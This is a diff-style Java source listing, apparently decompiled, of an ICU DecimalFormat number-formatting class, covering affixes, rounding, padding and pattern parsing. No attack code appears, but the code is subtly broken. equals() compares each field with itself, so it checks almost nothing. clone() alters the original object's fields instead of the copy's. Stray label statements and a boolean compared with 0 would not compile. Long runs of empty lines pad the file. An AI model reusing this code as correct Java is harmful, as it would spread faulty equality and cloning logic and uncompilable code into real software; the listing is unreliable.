+    symbols = ((DecimalFormatSymbols)newSymbols.clone());
+    setCurrencyForSymbols();
+    expandAffixes(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void setCurrencyForSymbols()
+  {
+    DecimalFormatSymbols def = new DecimalFormatSymbols(symbols.getULocale());
+    
+    if ((symbols.getCurrencySymbol().equals(def.getCurrencySymbol())) && (symbols.getInternationalCurrencySymbol().equals(def.getInternationalCurrencySymbol())))
+    {
+
+      setCurrency(Currency.getInstance(symbols.getULocale()));
+    } else {
+      setCurrency(null);
+    }
+  }
+  
+
+
+
+
+
+
+  public String getPositivePrefix()
+  {
+    return positivePrefix;
+  }
+  
+
+
+
+
+
+
+  public void setPositivePrefix(String newValue)
+  {
+    positivePrefix = newValue;
+    posPrefixPattern = null;
+  }
+  
+
+
+
+
+
+
+
+  public String getNegativePrefix()
+  {
+    return negativePrefix;
+  }
+  
+
+
+
+
+
+
+  public void setNegativePrefix(String newValue)
+  {
+    negativePrefix = newValue;
+    negPrefixPattern = null;
+  }
+  
+
+
+
+
+
+
+
+  public String getPositiveSuffix()
+  {
+    return positiveSuffix;
+  }
+  
+
+
+
+
+
+
+  public void setPositiveSuffix(String newValue)
+  {
+    positiveSuffix = newValue;
+    posSuffixPattern = null;
+  }
+  
+
+
+
+
+
+
+
+  public String getNegativeSuffix()
+  {
+    return negativeSuffix;
+  }
+  
+
+
+
+
+
+
+  public void setNegativeSuffix(String newValue)
+  {
+    negativeSuffix = newValue;
+    negSuffixPattern = null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int getMultiplier()
+  {
+    return multiplier;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setMultiplier(int newValue)
+  {
+    if (newValue == 0) {
+      throw new IllegalArgumentException("Bad multiplier: " + newValue);
+    }
+    multiplier = newValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public java.math.BigDecimal getRoundingIncrement()
+  {
+    if (roundingIncrementICU == null)
+      return null;
+    return roundingIncrementICU.toBigDecimal();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setRoundingIncrement(java.math.BigDecimal newValue)
+  {
+    if (newValue == null) {
+      setRoundingIncrement((com.ibm.icu.math.BigDecimal)null);
+    } else {
+      setRoundingIncrement(new com.ibm.icu.math.BigDecimal(newValue));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setRoundingIncrement(com.ibm.icu.math.BigDecimal newValue)
+  {
+    int i = newValue == null ? 0 : newValue.compareTo(com.ibm.icu.math.BigDecimal.ZERO);
+    if (i < 0) {
+      throw new IllegalArgumentException("Illegal rounding increment");
+    }
+    if (i == 0) {
+      setInternalRoundingIncrement(null);
+    } else {
+      setInternalRoundingIncrement(newValue);
+    }
+    setRoundingDouble();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setRoundingIncrement(double newValue)
+  {
+    if (newValue < 0.0D) {
+      throw new IllegalArgumentException("Illegal rounding increment");
+    }
+    roundingDouble = newValue;
+    roundingDoubleReciprocal = 0.0D;
+    if (newValue == 0.0D) {
+      setRoundingIncrement((com.ibm.icu.math.BigDecimal)null);
+    } else {
+      roundingDouble = newValue;
+      if (roundingDouble < 1.0D) {
+        double rawRoundedReciprocal = 1.0D / roundingDouble;
+        setRoundingDoubleReciprocal(rawRoundedReciprocal);
+      }
+      setInternalRoundingIncrement(new com.ibm.icu.math.BigDecimal(newValue));
+    }
+  }
+  
+  private void setRoundingDoubleReciprocal(double rawRoundedReciprocal) {
+    roundingDoubleReciprocal = Math.rint(rawRoundedReciprocal);
+    if (Math.abs(rawRoundedReciprocal - roundingDoubleReciprocal) > 1.0E-9D) {
+      roundingDoubleReciprocal = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRoundingMode()
+  {
+    return roundingMode;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setRoundingMode(int roundingMode)
+  {
+    if ((roundingMode < 0) || (roundingMode > 7)) {
+      throw new IllegalArgumentException("Invalid rounding mode: " + roundingMode);
+    }
+    
+    this.roundingMode = roundingMode;
+    
+    if (getRoundingIncrement() == null) {
+      setRoundingIncrement(Math.pow(10.0D, -getMaximumFractionDigits()));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public int getFormatWidth()
+  {
+    return formatWidth;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormatWidth(int width)
+  {
+    if (width < 0) {
+      throw new IllegalArgumentException("Illegal format width");
+    }
+    formatWidth = width;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public char getPadCharacter()
+  {
+    return pad;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setPadCharacter(char padChar)
+  {
+    pad = padChar;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getPadPosition()
+  {
+    return padPosition;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setPadPosition(int padPos)
+  {
+    if ((padPos < 0) || (padPos > 3)) {
+      throw new IllegalArgumentException("Illegal pad position");
+    }
+    padPosition = padPos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean isScientificNotation()
+  {
+    return useExponentialNotation;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setScientificNotation(boolean useScientific)
+  {
+    useExponentialNotation = useScientific;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public byte getMinimumExponentDigits()
+  {
+    return minExponentDigits;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setMinimumExponentDigits(byte minExpDig)
+  {
+    if (minExpDig < 1) {
+      throw new IllegalArgumentException("Exponent digits must be >= 1");
+    }
+    minExponentDigits = minExpDig;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isExponentSignAlwaysShown()
+  {
+    return exponentSignAlwaysShown;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setExponentSignAlwaysShown(boolean expSignAlways)
+  {
+    exponentSignAlwaysShown = expSignAlways;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getGroupingSize()
+  {
+    return groupingSize;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setGroupingSize(int newValue)
+  {
+    groupingSize = ((byte)newValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getSecondaryGroupingSize()
+  {
+    return groupingSize2;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setSecondaryGroupingSize(int newValue)
+  {
+    groupingSize2 = ((byte)newValue);
+  }
+  
+
+
+
+
+
+
+  public com.ibm.icu.math.MathContext getMathContextICU()
+  {
+    return mathContext;
+  }
+  
+
+
+
+
+
+
+  public java.math.MathContext getMathContext()
+  {
+    try
+    {
+      return mathContext == null ? null : new java.math.MathContext(mathContext.getDigits(), RoundingMode.valueOf(mathContext.getRoundingMode()));
+    }
+    catch (Exception foo) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public void setMathContextICU(com.ibm.icu.math.MathContext newValue)
+  {
+    mathContext = newValue;
+  }
+  
+
+
+
+
+
+
+  public void setMathContext(java.math.MathContext newValue)
+  {
+    mathContext = new com.ibm.icu.math.MathContext(newValue.getPrecision(), 1, false, newValue.getRoundingMode().ordinal());
+  }
+  
+
+
+
+
+
+
+
+  public boolean isDecimalSeparatorAlwaysShown()
+  {
+    return decimalSeparatorAlwaysShown;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setDecimalSeparatorAlwaysShown(boolean newValue)
+  {
+    decimalSeparatorAlwaysShown = newValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public CurrencyPluralInfo getCurrencyPluralInfo()
+  {
+    try
+    {
+      return currencyPluralInfo == null ? null : (CurrencyPluralInfo)currencyPluralInfo.clone();
+    }
+    catch (Exception foo) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setCurrencyPluralInfo(CurrencyPluralInfo newInfo)
+  {
+    currencyPluralInfo = ((CurrencyPluralInfo)newInfo.clone());
+    isReadyForParsing = false;
+  }
+  
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      DecimalFormat other = (DecimalFormat)super.clone();
+      symbols = ((DecimalFormatSymbols)symbols.clone());
+      digitList = new DigitList();
+      if (currencyPluralInfo != null) {
+        currencyPluralInfo = ((CurrencyPluralInfo)currencyPluralInfo.clone());
+      }
+      attributes = new ArrayList();
+      
+
+
+
+      return other;
+    } catch (Exception e) {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (obj == null)
+      return false;
+    if (!super.equals(obj)) {
+      return false;
+    }
+    DecimalFormat other = (DecimalFormat)obj;
+    
+
+
+    return (currencySignCount == currencySignCount) && ((style != 6) || ((equals(posPrefixPattern, posPrefixPattern)) && (equals(posSuffixPattern, posSuffixPattern)) && (equals(negPrefixPattern, negPrefixPattern)) && (equals(negSuffixPattern, negSuffixPattern)))) && (multiplier == multiplier) && (groupingSize == groupingSize) && (groupingSize2 == groupingSize2) && (decimalSeparatorAlwaysShown == decimalSeparatorAlwaysShown) && (useExponentialNotation == useExponentialNotation) && ((!useExponentialNotation) || (minExponentDigits == minExponentDigits)) && (useSignificantDigits == useSignificantDigits) && ((!useSignificantDigits) || ((minSignificantDigits == minSignificantDigits) && (maxSignificantDigits == maxSignificantDigits))) && (symbols.equals(symbols)) && (Utility.objectEquals(currencyPluralInfo, currencyPluralInfo));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean equals(String pat1, String pat2)
+  {
+    if ((pat1 == null) || (pat2 == null)) {
+      return (pat1 == null) && (pat2 == null);
+    }
+    
+    if (pat1.equals(pat2)) {
+      return true;
+    }
+    return unquote(pat1).equals(unquote(pat2));
+  }
+  
+  private String unquote(String pat) {
+    StringBuilder buf = new StringBuilder(pat.length());
+    int i = 0;
+    while (i < pat.length()) {
+      char ch = pat.charAt(i++);
+      if (ch != '\'') {
+        buf.append(ch);
+      }
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return super.hashCode() * 37 + positivePrefix.hashCode();
+  }
+  
+
+
+
+
+
+
+
+  public String toPattern()
+  {
+    if (style == 6)
+    {
+
+
+
+      return formatPattern;
+    }
+    return toPattern(false);
+  }
+  
+
+
+
+
+
+
+  public String toLocalizedPattern()
+  {
+    if (style == 6) {
+      return formatPattern;
+    }
+    return toPattern(true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void expandAffixes(String pluralCount)
+  {
+    currencyChoice = null;
+    
+
+    StringBuffer buffer = new StringBuffer();
+    if (posPrefixPattern != null) {
+      expandAffix(posPrefixPattern, pluralCount, buffer, false);
+      positivePrefix = buffer.toString();
+    }
+    if (posSuffixPattern != null) {
+      expandAffix(posSuffixPattern, pluralCount, buffer, false);
+      positiveSuffix = buffer.toString();
+    }
+    if (negPrefixPattern != null) {
+      expandAffix(negPrefixPattern, pluralCount, buffer, false);
+      negativePrefix = buffer.toString();
+    }
+    if (negSuffixPattern != null) {
+      expandAffix(negSuffixPattern, pluralCount, buffer, false);
+      negativeSuffix = buffer.toString();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void expandAffix(String pattern, String pluralCount, StringBuffer buffer, boolean doFormat)
+  {
+    buffer.setLength(0);
+    for (int i = 0; i < pattern.length();) {
+      char c = pattern.charAt(i++);
+      if (c == '\'') {
+        for (;;) {
+          int j = pattern.indexOf('\'', i);
+          if (j == i) {
+            buffer.append('\'');
+            i = j + 1;
+            break; }
+          if (j > i) {
+            buffer.append(pattern.substring(i, j));
+            i = j + 1;
+            if ((i >= pattern.length()) || (pattern.charAt(i) != '\'')) break;
+            buffer.append('\'');
+            i++;
+            
+
+
+            break label135;
+          }
+          
+
+          throw new RuntimeException();
+        }
+      }
+      
+
+
+      switch (c)
+      {
+
+
+      case '¤': 
+        boolean intl = (i < pattern.length()) && (pattern.charAt(i) == '¤');
+        boolean plural = false;
+        if (intl) {
+          i++;
+          if ((i < pattern.length()) && (pattern.charAt(i) == '¤')) {
+            plural = true;
+            intl = false;
+            i++;
+          }
+        }
+        String s = null;
+        Currency currency = getCurrency();
+        if (currency != null)
+        {
+
+
+          if ((plural) && (pluralCount != null)) {
+            boolean[] isChoiceFormat = new boolean[1];
+            s = currency.getName(symbols.getULocale(), 2, pluralCount, isChoiceFormat);
+          }
+          else if (!intl) {
+            boolean[] isChoiceFormat = new boolean[1];
+            s = currency.getName(symbols.getULocale(), 0, isChoiceFormat);
+            
+            if (isChoiceFormat[0] != 0)
+            {
+
+
+              if (!doFormat)
+              {
+
+
+                if (currencyChoice == null) {
+                  currencyChoice = new ChoiceFormat(s);
+                }
+                
+
+
+
+
+
+                s = String.valueOf('¤');
+              } else {
+                FieldPosition pos = new FieldPosition(0);
+                currencyChoice.format(digitList.getDouble(), buffer, pos);
+                continue;
+              }
+            }
+          } else {
+            s = currency.getCurrencyCode();
+          }
+        } else {
+          s = intl ? symbols.getInternationalCurrencySymbol() : symbols.getCurrencySymbol();
+        }
+        
+        buffer.append(s);
+        break;
+      case '%': 
+        c = symbols.getPercent();
+        break;
+      case '‰': 
+        c = symbols.getPerMill();
+        break;
+      case '-': 
+        c = symbols.getMinusSign();
+      
+      default: 
+        buffer.append(c);
+      }
+      
+    }
+    
+
+
+    label135:
+  }
+  
+
+
+  private int appendAffix(StringBuffer buf, boolean isNegative, boolean isPrefix, boolean parseAttr)
+  {
+    if (currencyChoice != null) {
+      String affixPat = null;
+      if (isPrefix) {
+        affixPat = isNegative ? negPrefixPattern : posPrefixPattern;
+      } else {
+        affixPat = isNegative ? negSuffixPattern : posSuffixPattern;
+      }
+      StringBuffer affixBuf = new StringBuffer();
+      expandAffix(affixPat, null, affixBuf, true);
+      buf.append(affixBuf);
+      return affixBuf.length();
+    }
+    
+    String affix = null;
+    if (isPrefix) {
+      affix = isNegative ? negativePrefix : positivePrefix;
+    } else {
+      affix = isNegative ? negativeSuffix : positiveSuffix;
+    }
+    
+    if (parseAttr) {
+      int offset = affix.indexOf(symbols.getCurrencySymbol());
+      if (-1 == offset) {
+        offset = affix.indexOf(symbols.getPercent());
+        if (-1 == offset) {
+          offset = 0;
+        }
+      }
+      formatAffix2Attribute(affix, buf.length() + offset, buf.length() + affix.length());
+    }
+    buf.append(affix);
+    return affix.length();
+  }
+  
+
+
+
+
+
+
+  private void formatAffix2Attribute(String affix, int begin, int end)
+  {
+    if (affix.indexOf(symbols.getCurrencySymbol()) > -1) {
+      addAttribute(NumberFormat.Field.CURRENCY, begin, end);
+    } else if (affix.indexOf(symbols.getMinusSign()) > -1) {
+      addAttribute(NumberFormat.Field.SIGN, begin, end);
+    } else if (affix.indexOf(symbols.getPercent()) > -1) {
+      addAttribute(NumberFormat.Field.PERCENT, begin, end);
+    } else if (affix.indexOf(symbols.getPerMill()) > -1) {
+      addAttribute(NumberFormat.Field.PERMILLE, begin, end);
+    }
+  }
+  
+
+
+  private void addAttribute(NumberFormat.Field field, int begin, int end)
+  {
+    FieldPosition pos = new FieldPosition(field);
+    pos.setBeginIndex(begin);
+    pos.setEndIndex(end);
+    attributes.add(pos);
+  }
+  
+
+
+
+
+
+  public AttributedCharacterIterator formatToCharacterIterator(Object obj)
+  {
+    return formatToCharacterIterator(obj, NULL_UNIT);
+  }
+  
+  AttributedCharacterIterator formatToCharacterIterator(Object obj, Unit unit) {
+    if (!(obj instanceof Number))
+      throw new IllegalArgumentException();
+    Number number = (Number)obj;
+    StringBuffer text = new StringBuffer();
+    unit.writePrefix(text);
+    attributes.clear();
+    if ((obj instanceof BigInteger)) {
+      format((BigInteger)number, text, new FieldPosition(0), true);
+    } else if ((obj instanceof java.math.BigDecimal)) {
+      format((java.math.BigDecimal)number, text, new FieldPosition(0), true);
+    }
+    else if ((obj instanceof Double)) {
+      format(number.doubleValue(), text, new FieldPosition(0), true);
+    } else if (((obj instanceof Integer)) || ((obj instanceof Long))) {
+      format(number.longValue(), text, new FieldPosition(0), true);
+    } else {
+      throw new IllegalArgumentException();
+    }
+    unit.writeSuffix(text);
+    AttributedString as = new AttributedString(text.toString());
+    
+
+    for (int i = 0; i < attributes.size(); i++) {
+      FieldPosition pos = (FieldPosition)attributes.get(i);
+      Format.Field attribute = pos.getFieldAttribute();
+      as.addAttribute(attribute, attribute, pos.getBeginIndex(), pos.getEndIndex());
+    }
+    
+
+    return as.getIterator();
+  }
+  
+
+
+
+  private void appendAffixPattern(StringBuffer buffer, boolean isNegative, boolean isPrefix, boolean localized)
+  {
+    String affixPat = null;
+    if (isPrefix) {
+      affixPat = isNegative ? negPrefixPattern : posPrefixPattern;
+    } else {
+      affixPat = isNegative ? negSuffixPattern : posSuffixPattern;
+    }
+    
+
+    if (affixPat == null) {
+      String affix = null;
+      if (isPrefix) {
+        affix = isNegative ? negativePrefix : positivePrefix;
+      } else {
+        affix = isNegative ? negativeSuffix : positiveSuffix;
+      }
+      
+      buffer.append('\'');
+      for (int i = 0; i < affix.length(); i++) {
+        char ch = affix.charAt(i);
+        if (ch == '\'') {
+          buffer.append(ch);
+        }
+        buffer.append(ch);
+      }
+      buffer.append('\'');
+      return;
+    }
+    
+    if (!localized) {
+      buffer.append(affixPat);
+    }
+    else {
+      for (int i = 0; i < affixPat.length(); i++) {
+        char ch = affixPat.charAt(i);
+        switch (ch) {
+        case '\'': 
+          int j = affixPat.indexOf('\'', i + 1);
+          if (j < 0) {
+            throw new IllegalArgumentException("Malformed affix pattern: " + affixPat);
+          }
+          buffer.append(affixPat.substring(i, j + 1));
+          i = j;
+          break;
+        case '‰': 
+          ch = symbols.getPerMill();
+          break;
+        case '%': 
+          ch = symbols.getPercent();
+          break;
+        case '-': 
+          ch = symbols.getMinusSign();
+        }
+        
+        
+        if ((ch == symbols.getDecimalSeparator()) || (ch == symbols.getGroupingSeparator())) {
+          buffer.append('\'');
+          buffer.append(ch);
+          buffer.append('\'');
+        } else {
+          buffer.append(ch);
+        }
+      }
+    }
+  }
+  
+
+
+  private String toPattern(boolean localized)
+  {
+    StringBuffer result = new StringBuffer();
+    char zero = localized ? symbols.getZeroDigit() : '0';
+    char digit = localized ? symbols.getDigit() : '#';
+    char sigDigit = '\000';
+    boolean useSigDig = areSignificantDigitsUsed();
+    if (useSigDig) {
+      sigDigit = localized ? symbols.getSignificantDigit() : '@';
+    }
+    char group = localized ? symbols.getGroupingSeparator() : ',';
+    
+    int roundingDecimalPos = 0;
+    String roundingDigits = null;
+    int padPos = formatWidth > 0 ? padPosition : -1;
+    String padSpec = formatWidth > 0 ? 2 + (localized ? symbols.getPadEscape() : '*') + pad : null;
+    
+
+
+
+    if (roundingIncrementICU != null) {
+      int i = roundingIncrementICU.scale();
+      roundingDigits = roundingIncrementICU.movePointRight(i).toString();
+      roundingDecimalPos = roundingDigits.length() - i;
+    }
+    for (int part = 0; part < 2; part++)
+    {
+      if (padPos == 0) {
+        result.append(padSpec);
+      }
+      
+
+
+      appendAffixPattern(result, part != 0, true, localized);
+      if (padPos == 1) {
+        result.append(padSpec);
+      }
+      int sub0Start = result.length();
+      int g = isGroupingUsed() ? Math.max(0, groupingSize) : 0;
+      if ((g > 0) && (groupingSize2 > 0) && (groupingSize2 != groupingSize)) {
+        g += groupingSize2;
+      }
+      int maxDig = 0;int minDig = 0;int maxSigDig = 0;
+      if (useSigDig) {
+        minDig = getMinimumSignificantDigits();
+        maxDig = maxSigDig = getMaximumSignificantDigits();
+      } else {
+        minDig = getMinimumIntegerDigits();
+        maxDig = getMaximumIntegerDigits();
+      }
+      if (useExponentialNotation) {
+        if (maxDig > 8) {
+          maxDig = 1;
+        }
+      } else if (useSigDig) {
+        maxDig = Math.max(maxDig, g + 1);
+      } else {
+        maxDig = Math.max(Math.max(g, getMinimumIntegerDigits()), roundingDecimalPos) + 1;
+      }
+      for (int i = maxDig; i > 0; i--) {
+        if ((!useExponentialNotation) && (i < maxDig) && (isGroupingPosition(i))) {
+          result.append(group);
+        }
+        if (useSigDig)
+        {
+
+
+
+          result.append((maxSigDig >= i) && (i > maxSigDig - minDig) ? sigDigit : digit);
+        } else {
+          if (roundingDigits != null) {
+            int pos = roundingDecimalPos - i;
+            if ((pos >= 0) && (pos < roundingDigits.length())) {
+              result.append((char)(roundingDigits.charAt(pos) - '0' + zero));
+              continue;
+            }
+          }
+          result.append(i <= minDig ? zero : digit);
+        }
+      }
+      if (!useSigDig) {
+        if ((getMaximumFractionDigits() > 0) || (decimalSeparatorAlwaysShown)) {
+          result.append(localized ? symbols.getDecimalSeparator() : '.');
+        }
+        
+        int pos = roundingDecimalPos;
+        for (i = 0; i < getMaximumFractionDigits(); i++)
+          if ((roundingDigits != null) && (pos < roundingDigits.length())) {
+            result.append(pos < 0 ? zero : (char)(roundingDigits.charAt(pos) - '0' + zero));
+            
+            pos++;
+          }
+          else {
+            result.append(i < getMinimumFractionDigits() ? zero : digit);
+          }
+      }
+      if (useExponentialNotation) {
+        if (localized) {
+          result.append(symbols.getExponentSeparator());
+        } else {
+          result.append('E');
+        }
+        if (exponentSignAlwaysShown) {
+          result.append(localized ? symbols.getPlusSign() : '+');
+        }
+        for (i = 0; i < minExponentDigits; i++) {
+          result.append(zero);
+        }
+      }
+      if ((padSpec != null) && (!useExponentialNotation)) {
+        int add = formatWidth - result.length() + sub0Start - (part == 0 ? positivePrefix.length() + positiveSuffix.length() : negativePrefix.length() + negativeSuffix.length());
+        
+
+
+
+
+        while (add > 0) {
+          result.insert(sub0Start, digit);
+          maxDig++;
+          add--;
+          
+
+          if ((add > 1) && (isGroupingPosition(maxDig))) {
+            result.insert(sub0Start, group);
+            add--;
+          }
+        }
+      }
+      if (padPos == 2) {
+        result.append(padSpec);
+      }
+      
+
+      appendAffixPattern(result, part != 0, false, localized);
+      if (padPos == 3) {
+        result.append(padSpec);
+      }
+      if (part == 0) {
+        if ((negativeSuffix.equals(positiveSuffix)) && (negativePrefix.equals('-' + positivePrefix))) {
+          break;
+        }
+        
+        result.append(localized ? symbols.getPatternSeparator() : ';');
+      }
+    }
+    
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void applyPattern(String pattern)
+  {
+    applyPattern(pattern, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void applyLocalizedPattern(String pattern)
+  {
+    applyPattern(pattern, true);
+  }
+  
+
+
+  private void applyPattern(String pattern, boolean localized)
+  {
+    applyPatternWithoutExpandAffix(pattern, localized);
+    expandAffixAdjustWidth(null);
+  }
+  
+
+  private void expandAffixAdjustWidth(String pluralCount)
+  {
+    expandAffixes(pluralCount);
+    
+
+    if (formatWidth > 0) {
+      formatWidth += positivePrefix.length() + positiveSuffix.length();
+    }
+  }
+  
+  private void applyPatternWithoutExpandAffix(String pattern, boolean localized) {
+    char zeroDigit = '0';
+    char sigDigit = '@';
+    char groupingSeparator = ',';
+    char decimalSeparator = '.';
+    char percent = '%';
+    char perMill = '‰';
+    char digit = '#';
+    char separator = ';';
+    String exponent = String.valueOf('E');
+    char plus = '+';
+    char padEscape = '*';
+    char minus = '-';
+    if (localized) {
+      zeroDigit = symbols.getZeroDigit();
+      sigDigit = symbols.getSignificantDigit();
+      groupingSeparator = symbols.getGroupingSeparator();
+      decimalSeparator = symbols.getDecimalSeparator();
+      percent = symbols.getPercent();
+      perMill = symbols.getPerMill();
+      digit = symbols.getDigit();
+      separator = symbols.getPatternSeparator();
+      exponent = symbols.getExponentSeparator();
+      plus = symbols.getPlusSign();
+      padEscape = symbols.getPadEscape();
+      minus = symbols.getMinusSign();
+    }
+    char nineDigit = (char)(zeroDigit + '\t');
+    
+    boolean gotNegative = false;
+    
+    int pos = 0;
+    
+
+    for (int part = 0; (part < 2) && (pos < pattern.length()); part++)
+    {
+
+
+
+      int subpart = 1;int sub0Start = 0;int sub0Limit = 0;int sub2Limit = 0;
+      
+
+
+
+
+
+      StringBuilder prefix = new StringBuilder();
+      StringBuilder suffix = new StringBuilder();
+      int decimalPos = -1;
+      int multpl = 1;
+      int digitLeftCount = 0;int zeroDigitCount = 0;int digitRightCount = 0;int sigDigitCount = 0;
+      byte groupingCount = -1;
+      byte groupingCount2 = -1;
+      int padPos = -1;
+      char padChar = '\000';
+      int incrementPos = -1;
+      long incrementVal = 0L;
+      byte expDigits = -1;
+      boolean expSignAlways = false;
+      int currencySignCnt = 0;
+      
+
+      StringBuilder affix = prefix;
+      
+      int start = pos;
+      for (; 
+          pos < pattern.length(); pos++) {
+        char ch = pattern.charAt(pos);
+        switch (subpart)
+        {
+
+
+
+
+
+
+
+        case 0: 
+          if (ch == digit) {
+            if ((zeroDigitCount > 0) || (sigDigitCount > 0)) {
+              digitRightCount++;
+            } else {
+              digitLeftCount++;
+            }
+            if ((groupingCount >= 0) && (decimalPos < 0)) {
+              groupingCount = (byte)(groupingCount + 1);
+            }
+          } else if (((ch >= zeroDigit) && (ch <= nineDigit)) || (ch == sigDigit)) {
+            if (digitRightCount > 0) {
+              patternError("Unexpected '" + ch + '\'', pattern);
+            }
+            if (ch == sigDigit) {
+              sigDigitCount++;
+            } else {
+              zeroDigitCount++;
+              if (ch != zeroDigit) {
+                int p = digitLeftCount + zeroDigitCount + digitRightCount;
+                if (incrementPos >= 0) {
+                  while (incrementPos < p) {
+                    incrementVal *= 10L;
+                    incrementPos++;
+                  }
+                }
+                incrementPos = p;
+                
+                incrementVal += ch - zeroDigit;
+              }
+            }
+            if ((groupingCount >= 0) && (decimalPos < 0)) {
+              groupingCount = (byte)(groupingCount + 1);
+            }
+          } else if (ch == groupingSeparator)
+          {
+
+
+            if ((ch == '\'') && (pos + 1 < pattern.length())) {
+              char after = pattern.charAt(pos + 1);
+              if ((after != digit) && ((after < zeroDigit) || (after > nineDigit)))
+              {
+
+
+                if (after == '\'') {
+                  pos++;
+                }
+                else {
+                  if (groupingCount < 0) {
+                    subpart = 3; continue;
+                  }
+                  
+                  subpart = 2;
+                  affix = suffix;
+                  sub0Limit = pos--;
+                  
+                  continue;
+                }
+              }
+            }
+            
+            if (decimalPos >= 0) {
+              patternError("Grouping separator after decimal", pattern);
+            }
+            groupingCount2 = groupingCount;
+            groupingCount = 0;
+          } else if (ch == decimalSeparator) {
+            if (decimalPos >= 0) {
+              patternError("Multiple decimal separators", pattern);
+            }
+            
+
+
+            decimalPos = digitLeftCount + zeroDigitCount + digitRightCount;
+          } else {
+            if (pattern.regionMatches(pos, exponent, 0, exponent.length())) {
+              if (expDigits >= 0) {
+                patternError("Multiple exponential symbols", pattern);
+              }
+              if (groupingCount >= 0) {
+                patternError("Grouping separator in exponential", pattern);
+              }
+              pos += exponent.length();
+              
+              if ((pos < pattern.length()) && (pattern.charAt(pos) == plus)) {
+                expSignAlways = true;
+                pos++;
+              }
+              
+
+              expDigits = 0;
+              while ((pos < pattern.length()) && (pattern.charAt(pos) == zeroDigit)) {
+                expDigits = (byte)(expDigits + 1);
+                pos++;
+              }
+              
+
+
+
+              if (((digitLeftCount + zeroDigitCount < 1) && (sigDigitCount + digitRightCount < 1)) || ((sigDigitCount > 0) && (digitLeftCount > 0)) || (expDigits < 1))
+              {
+
+                patternError("Malformed exponential", pattern);
+              }
+            }
+            
+            subpart = 2;
+            affix = suffix;
+            sub0Limit = pos--; }
+          break;
+        
+
+
+
+
+
+
+        case 1: 
+        case 2: 
+          if ((ch == digit) || (ch == groupingSeparator) || (ch == decimalSeparator) || ((ch >= zeroDigit) && (ch <= nineDigit)) || (ch == sigDigit))
+          {
+
+
+            if (subpart == 1) {
+              subpart = 0;
+              sub0Start = pos--;
+              continue; }
+            if (ch == '\'')
+            {
+
+
+
+
+
+
+              if ((pos + 1 < pattern.length()) && (pattern.charAt(pos + 1) == '\'')) {
+                pos++;
+                affix.append(ch); continue;
+              }
+              subpart += 2;
+              
+              continue;
+            }
+            patternError("Unquoted special character '" + ch + '\'', pattern);
+          } else if (ch == '¤')
+          {
+
+            boolean doubled = (pos + 1 < pattern.length()) && (pattern.charAt(pos + 1) == '¤');
+            
+
+
+
+            if (doubled) {
+              pos++;
+              affix.append(ch);
+              if ((pos + 1 < pattern.length()) && (pattern.charAt(pos + 1) == '¤'))
+              {
+                pos++;
+                affix.append(ch);
+                currencySignCnt = 3;
+              } else {
+                currencySignCnt = 2;
+              }
+            } else {
+              currencySignCnt = 1;
+            }
+          }
+          else if (ch == '\'')
+          {
+
+
+            if ((pos + 1 < pattern.length()) && (pattern.charAt(pos + 1) == '\'')) {
+              pos++;
+              affix.append(ch);
+            } else {
+              subpart += 2;
+            }
+          } else {
+            if (ch == separator)
+            {
+
+              if ((subpart == 1) || (part == 1)) {
+                patternError("Unquoted special character '" + ch + '\'', pattern);
+              }
+              sub2Limit = pos++;
+              break label1422; }
+            if ((ch == percent) || (ch == perMill))
+            {
+              if (multpl != 1) {
+                patternError("Too many percent/permille characters", pattern);
+              }
+              multpl = ch == percent ? 100 : 1000;
+              
+              ch = ch == percent ? '%' : '‰';
+            }
+            else if (ch == minus)
+            {
+              ch = '-';
+            }
+            else if (ch == padEscape) {
+              if (padPos >= 0) {
+                patternError("Multiple pad specifiers", pattern);
+              }
+              if (pos + 1 == pattern.length()) {
+                patternError("Invalid pad specifier", pattern);
+              }
+              padPos = pos++;
+              padChar = pattern.charAt(pos);
+              continue;
